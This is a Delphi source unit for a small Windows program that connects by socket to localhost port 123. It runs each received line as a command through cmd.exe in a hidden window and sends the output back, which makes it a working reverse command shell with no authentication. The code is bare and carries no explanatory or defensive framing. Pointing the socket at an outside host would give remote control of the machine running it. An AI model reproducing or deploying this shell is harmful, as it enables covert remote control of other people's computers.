unit cmdtxt;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls;

type
  Tform5 = class(TForm)
    nc: TClientSocket;
    Memo1: TMemo;
    Label1: TLabel;
    procedure FormCreate(Sender: TObject);
    procedure ncConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure execcmd(incomnd: string);
//    procedure countlines(Sender: TObject);

    procedure cmdresult;
    procedure ncRead(Sender: TObject; Socket: TCustomWinSocket);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  form5: Tform5;

implementation

{$R *.dfm}

function CreateDOSProcessRedirected(const CommandLine, InputFile, OutputFile,
  ErrMsg: string): Boolean;
const
  ROUTINE_ID = '[function: CreateDOSProcessRedirected ]';
var
  OldCursor: TCursor;
  pCommandLine: array [0 .. MAX_PATH] of Char;
  pInputFile, pOutPutFile: array [0 .. MAX_PATH] of Char;
  StartupInfo: TStartupInfo;
  ProcessInfo: TProcessInformation;
  SecAtrrs: TSecurityAttributes;
  hAppProcess, hAppThread, hInputFile, hOutputFile: THandle;
begin
  Result := False;

  { check for InputFile existence }
  if not FileExists(InputFile) then
    raise Exception.CreateFmt(ROUTINE_ID + #10 + #10 + 'Input file * %s *' + #10
      + 'does not exist' + #10 + #10 + ErrMsg, [InputFile]);

  { save the cursor }
  OldCursor := Screen.Cursor;
  Screen.Cursor := crHourglass;

  { copy the parameter Pascal strings to null terminated strings }
  StrPCopy(pCommandLine, CommandLine);
  StrPCopy(pInputFile, InputFile);
  StrPCopy(pOutPutFile, OutputFile);

  try

    { prepare SecAtrrs structure for the CreateFile calls
      This SecAttrs structure is needed in this case because
      we want the returned handle can be inherited by child process
      This is true when running under WinNT.
      As for Win95 the documentation is quite ambiguous }
    FillChar(SecAtrrs, SizeOf(SecAtrrs), #0);
    SecAtrrs.nLength := SizeOf(SecAtrrs);
    SecAtrrs.lpSecurityDescriptor := nil;
    SecAtrrs.bInheritHandle := True;

    { create the appropriate handle for the input file }
    hInputFile := CreateFile(pInputFile,
      { pointer to name of the file }
      GENERIC_READ or GENERIC_WRITE,
      { access (read-write) mode }
      FILE_SHARE_READ or FILE_SHARE_WRITE,
      { share mode } @SecAtrrs, { pointer to security attributes }
      OPEN_ALWAYS, { how to create }
      FILE_ATTRIBUTE_TEMPORARY, { file attributes }
      0); { handle to file with attributes to copy }

    { is hInputFile a valid handle? }
    if hInputFile = INVALID_HANDLE_VALUE then
      raise Exception.CreateFmt(ROUTINE_ID + #10 + #10 +
        'WinApi function CreateFile returned an invalid handle value' + #10 +
        'for the input file * %s *' + #10 + #10 + ErrMsg, [InputFile]);

    { create the appropriate handle for the output file }
    hOutputFile := CreateFile(pOutPutFile,
      { pointer to name of the file }
      GENERIC_READ or GENERIC_WRITE,
      { access (read-write) mode }
      FILE_SHARE_READ or FILE_SHARE_WRITE,
      { share mode } @SecAtrrs, { pointer to security attributes }
      CREATE_ALWAYS, { how to create }
      FILE_ATTRIBUTE_TEMPORARY, { file attributes }
      0); { handle to file with attributes to copy }

    { is hOutputFile a valid handle? }
    if hOutputFile = INVALID_HANDLE_VALUE then
      raise Exception.CreateFmt(ROUTINE_ID + #10 + #10 +
        'WinApi function CreateFile returned an invalid handle value' + #10 +
        'for the output file * %s *' + #10 + #10 + ErrMsg, [OutputFile]);

    { prepare StartupInfo structure }
    FillChar(StartupInfo, SizeOf(StartupInfo), #0);
    StartupInfo.cb := SizeOf(StartupInfo);
    StartupInfo.dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
    StartupInfo.wShowWindow := SW_HIDE;
    StartupInfo.hStdOutput := hOutputFile;
    StartupInfo.hStdInput := hInputFile;

    { create the app }
    Result := CreateProcess(nil, { pointer to name of executable module }
      pCommandLine,
      { pointer to command line string }
      nil, { pointer to process security attributes }
      nil, { pointer to thread security attributes }
      True, { handle inheritance flag }
      CREATE_NEW_CONSOLE or REALTIME_PRIORITY_CLASS, { creation flags }
      nil, { pointer to new environment block }
      nil, { pointer to current directory name }
      StartupInfo, { pointer to STARTUPINFO }
      ProcessInfo); { pointer to PROCESS_INF }

    { wait for the app to finish its job and take the handles to free them later }
    if Result then
    begin
      WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
      hAppProcess := ProcessInfo.hProcess;
      hAppThread := ProcessInfo.hThread;
    end
    else
      raise Exception.Create(ROUTINE_ID + #10 + #10 + 'Function failure' + #10 +
        #10 + ErrMsg);

  finally
    { close the handles
      Kernel objects, like the process and the files we created in this case,
      are maintained by a usage count.
      So, for cleaning up purposes we have to close the handles
      to inform the system that we don't need the objects anymore }
    if hOutputFile <> 0 then
      CloseHandle(hOutputFile);
    if hInputFile <> 0 then
      CloseHandle(hInputFile);
    if hAppThread <> 0 then
      CloseHandle(hAppThread);
    if hAppProcess <> 0 then
      CloseHandle(hAppProcess);
    { restore the old cursor }
    Screen.Cursor := OldCursor;
  end;
end;

procedure Tform5.FormCreate(Sender: TObject);
begin
  nc.Host := 'localhost';
  nc.Port := 123;
  nc.Active := True;
end;

procedure Tform5.ncConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
  nc.Socket.SendText('connected, please type a basic command i.e dir'+#13#10+':>');
  Label1.Caption := 'connected';
end;

procedure Tform5.ncRead(Sender: TObject; Socket: TCustomWinSocket);
var
  s, incomnd: string;
begin
  try
    s := Socket.ReceiveText;
    while (pos(#10, s) <> 0) do
    Begin
      incomnd := copy(s, 1, pos(#10, s) - 1);
      delete(s, 1, pos(#10, s));
      //Memo1.Lines.Add(incomnd);
      execcmd(incomnd);
    end;
  except
    on E: Exception do
  end;
end;

procedure Tform5.execcmd(incomnd: string);
var
  inFile: TextFile;
  text: string;
begin
  AssignFile(inFile, 'c:\input.txt');
  ReWrite(inFile);
  WriteLn(inFile, incomnd);
  CloseFile(inFile);
  CreateDOSProcessRedirected('c:\windows\system32\cmd.exe', 'C:\Input.txt',
    'C:\OutPut.txt', 'Please, record this message');
  cmdresult;
end;

procedure Tform5.cmdresult;
var
  outFile: TextFile;
  text: string;
begin
  FileMode := fmOpenRead;
  AssignFile(outFile, 'c:\output.txt');
  Reset(outFile);
  while not Eof(outFile) do
  begin
    ReadLn(outFile, text);
    nc.Socket.SendText(text+#13#10);
    // memo1.Lines.Add(text);
  end;
  CloseFile(outFile);
end;

end.
